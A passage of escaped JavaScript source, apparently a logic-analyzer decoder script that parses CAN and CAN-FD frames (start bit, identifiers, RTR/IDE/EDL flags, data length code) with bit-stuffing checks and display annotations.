start bit item\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start of Frame\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"SOF\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"S\\\");\\n\\n\\t\\t\\t\\tpkt_start(\\\"CAN\\\");\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"SOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\n\\t\\t\\t\\tbits = [];\\n\\t\\t\\t\\trb = 0;\\n\\t\\t\\t\\tframe_length_in_sample = 0;\\n\\t\\t\\t\\tb = 0; sb = 0;\\n\\t\\t\\t\\tbit_pos = [];\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tdata_size = 0;\\n\\t\\t\\t\\tbits.push(0); \\t\\t// Add the start bit to the bits table\\n\\t\\t\\t\\tbit_pos.push(s); \\t// Add its position\\n\\t\\t\\t\\tb++;\\n\\t\\t\\t\\trb++;\\n\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\tlast_bit = 0;\\n\\t\\t\\t\\tstate = GET_ID;\\n\\t\\t\\t\\trtr_mode = false;\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tedl_mode = false;\\n\\t\\t\\t\\tpotential_overload = true; \\t// This *may* be the beginning of an overload frame\\n\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ID:\\n\\n\\t\\t\\t\\twhile (true) \\t// Read bits until we break\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (abort_requested() == true)\\t// Allow the user to abort this script\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false) break; \\t// Break on the first stuffing error\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bit\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif ((b == 14) && (bits[13] == 1))\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tide_mode = true;\\n\\t\\t\\t\\t\\t\\trtr_mode = false; \\t// Reset rtr, will be checked at bit 32\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (ide_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 33) && (bits[32] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 34) && (bits[33] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 13) && (bits[12] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 15) && (bits[14] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 41))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 22))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 39))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 19))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(edl_mode) //if it's CAN-FD\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 18; c < 22; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 37; c < 41; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \\t// Add the IDE bit\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 15; c < 19; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \\t// Add the DLC 